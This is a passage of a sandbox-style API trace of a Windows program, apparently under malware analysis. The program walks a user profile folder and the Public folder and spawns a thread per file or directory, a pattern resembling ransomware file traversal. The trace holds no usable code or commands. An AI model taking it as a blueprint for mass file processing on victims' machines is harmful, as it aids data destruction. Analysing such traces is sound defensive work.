ftLastWriteTime.dwLowDateTime=0xa9c141bf, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x2c0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0168.186] wcscmp (_String1="NTUSER.DAT", _String2=".") returned 1 [0168.186] wcscmp (_String1="NTUSER.DAT", _String2="..") returned 1 [0168.186] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0168.186] wcscmp (_String1="ntuser.dat.LOG1", _String2=".") returned 1 [0168.186] wcscmp (_String1="ntuser.dat.LOG1", _String2="..") returned 1 [0168.186] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0168.186] wcscpy (in: _Dest=0x2f87620, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.186] wcscat (in: _Dest=0x2f87620, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.186] wcscat (in: _Dest=0x2f87620, _Source="ntuser.dat.LOG1" | out: _Dest="C:\\Users\\FD1HVy\\ntuser.dat.LOG1") returned="C:\\Users\\FD1HVy\\ntuser.dat.LOG1" [0168.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f87620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0168.187] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0168.187] wcscmp (_String1="ntuser.dat.LOG2", _String2=".") returned 1 [0168.187] wcscmp (_String1="ntuser.dat.LOG2", _String2="..") returned 1 [0168.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f874b8 [0168.187] wcscpy (in: _Dest=0x2f874b8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.187] wcscat (in: _Dest=0x2f874b8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.187] wcscat (in: _Dest=0x2f874b8, _Source="ntuser.dat.LOG2" | out: _Dest="C:\\Users\\FD1HVy\\ntuser.dat.LOG2") returned="C:\\Users\\FD1HVy\\ntuser.dat.LOG2" [0168.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f874b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0168.188] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0168.188] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", _String2=".") returned 1 [0168.188] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", _String2="..") returned 1 [0168.188] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fe4f70 [0168.188] wcscpy (in: _Dest=0x2fe4f70, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.188] wcscat (in: _Dest=0x2fe4f70, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.188] wcscat (in: _Dest=0x2fe4f70, _Source="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" | out: _Dest="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf") returned="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" [0168.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0168.189] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0168.189] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1 [0168.189] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1 [0168.189] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xda) returned 0x2f98150 [0168.189] wcscpy (in: _Dest=0x2f98150, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.189] wcscat (in: _Dest=0x2f98150, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.189] wcscat (in: _Dest=0x2f98150, _Source="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" | out: _Dest="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" [0168.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0168.189] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0168.189] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1 [0168.189] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1 [0168.189] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xda) returned 0x2f987a8 [0168.189] wcscpy (in: _Dest=0x2f987a8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.190] wcscat (in: _Dest=0x2f987a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.190] wcscat (in: _Dest=0x2f987a8, _Source="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" | out: _Dest="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" [0168.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f987a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0168.190] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xc1adea7d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc1adea7d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc1adea7d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0168.190] wcscmp (_String1="ntuser.ini", _String2=".") returned 1 [0168.190] wcscmp (_String1="ntuser.ini", _String2="..") returned 1 [0168.190] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0168.190] wcscmp (_String1="OneDrive", _String2=".") returned 1 [0168.190] wcscmp (_String1="OneDrive", _String2="..") returned 1 [0168.190] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f806a0 [0168.190] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.191] wcscat (in: _Dest=0x2f806a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.191] wcscat (in: _Dest=0x2f806a0, _Source="OneDrive" | out: _Dest="C:\\Users\\FD1HVy\\OneDrive") returned="C:\\Users\\FD1HVy\\OneDrive" [0168.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f806a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0168.191] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x82d944d4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82d944d4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0168.191] wcscmp (_String1="Pictures", _String2=".") returned 1 [0168.191] wcscmp (_String1="Pictures", _String2="..") returned 1 [0168.191] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f806e0 [0168.191] wcscpy (in: _Dest=0x2f806e0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.191] wcscat (in: _Dest=0x2f806e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.191] wcscat (in: _Dest=0x2f806e0, _Source="Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f806e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0168.192] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0168.192] wcscmp (_String1="PrintHood", _String2=".") returned 1 [0168.192] wcscmp (_String1="PrintHood", _String2="..") returned 1 [0168.192] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f80860 [0168.192] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.192] wcscat (in: _Dest=0x2f80860, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.192] wcscat (in: _Dest=0x2f80860, _Source="PrintHood" | out: _Dest="C:\\Users\\FD1HVy\\PrintHood") returned="C:\\Users\\FD1HVy\\PrintHood" [0168.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0168.193] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0168.193] wcscmp (_String1="Recent", _String2=".") returned 1 [0168.193] wcscmp (_String1="Recent", _String2="..") returned 1 [0168.193] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2e) returned 0x30134b0 [0168.193] wcscpy (in: _Dest=0x30134b0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.193] wcscat (in: _Dest=0x30134b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.193] wcscat (in: _Dest=0x30134b0, _Source="Recent" | out: _Dest="C:\\Users\\FD1HVy\\Recent") returned="C:\\Users\\FD1HVy\\Recent" [0168.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30134b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0168.194] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0168.194] wcscmp (_String1="Saved Games", _String2=".") returned 1 [0168.194] wcscmp (_String1="Saved Games", _String2="..") returned 1 [0168.194] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2f802e0 [0168.194] wcscpy (in: _Dest=0x2f802e0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.194] wcscat (in: _Dest=0x2f802e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.194] wcscat (in: _Dest=0x2f802e0, _Source="Saved Games" | out: _Dest="C:\\Users\\FD1HVy\\Saved Games") returned="C:\\Users\\FD1HVy\\Saved Games" [0168.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f802e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0168.195] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x80973980, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80973980, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0168.195] wcscmp (_String1="Searches", _String2=".") returned 1 [0168.195] wcscmp (_String1="Searches", _String2="..") returned 1 [0168.195] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f80720 [0168.195] wcscpy (in: _Dest=0x2f80720, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.195] wcscat (in: _Dest=0x2f80720, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.195] wcscat (in: _Dest=0x2f80720, _Source="Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches" [0168.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0168.195] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0168.195] wcscmp (_String1="SendTo", _String2=".") returned 1 [0168.195] wcscmp (_String1="SendTo", _String2="..") returned 1 [0168.195] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2e) returned 0x3013440 [0168.195] wcscpy (in: _Dest=0x3013440, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.196] wcscat (in: _Dest=0x3013440, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.196] wcscat (in: _Dest=0x3013440, _Source="SendTo" | out: _Dest="C:\\Users\\FD1HVy\\SendTo") returned="C:\\Users\\FD1HVy\\SendTo" [0168.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3013440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0168.196] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0168.196] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0168.196] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0168.196] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f808a0 [0168.196] wcscpy (in: _Dest=0x2f808a0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.196] wcscat (in: _Dest=0x2f808a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.196] wcscat (in: _Dest=0x2f808a0, _Source="Start Menu" | out: _Dest="C:\\Users\\FD1HVy\\Start Menu") returned="C:\\Users\\FD1HVy\\Start Menu" [0168.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f808a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0168.197] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0168.197] wcscmp (_String1="Templates", _String2=".") returned 1 [0168.197] wcscmp (_String1="Templates", _String2="..") returned 1 [0168.197] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f808e0 [0168.197] wcscpy (in: _Dest=0x2f808e0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.197] wcscat (in: _Dest=0x2f808e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.197] wcscat (in: _Dest=0x2f808e0, _Source="Templates" | out: _Dest="C:\\Users\\FD1HVy\\Templates") returned="C:\\Users\\FD1HVy\\Templates" [0168.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f808e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0168.198] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x808db27a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x808db27a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0168.198] wcscmp (_String1="Videos", _String2=".") returned 1 [0168.198] wcscmp (_String1="Videos", _String2="..") returned 1 [0168.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2e) returned 0x3013600 [0168.198] wcscpy (in: _Dest=0x3013600, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0168.198] wcscat (in: _Dest=0x3013600, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0168.198] wcscat (in: _Dest=0x3013600, _Source="Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos" [0168.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3013600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0168.199] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x2fa2698 | out: lpFindFileData=0x2fa2698*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x808db27a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x808db27a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0168.199] FindClose (in: hFindFile=0x2f805a0 | out: hFindFile=0x2f805a0) returned 1 [0168.201] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2698) returned 1 [0168.201] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91590) returned 1 [0168.201] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8abf8) returned 1 [0168.201] RtlExitUserThread (Status=0x0) Thread: id = 1501 os_tid = 0xe50 [0163.991] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x24) returned 0x2f915c0 [0163.991] wcscpy (in: _Dest=0x2f915c0, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0163.991] wcscat (in: _Dest=0x2f915c0, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0163.991] wcscat (in: _Dest=0x2f915c0, _Source="*" | out: _Dest="C:\\Users\\Public\\*") returned="C:\\Users\\Public\\*" [0163.991] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fa3fc8 [0163.991] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x2fa3fc8 | out: lpFindFileData=0x2fa3fc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80660 [0163.992] wcscmp (_String1=".", _String2=".") returned 0 [0163.992] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x2fa3fc8 | out: lpFindFileData=0x2fa3fc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, 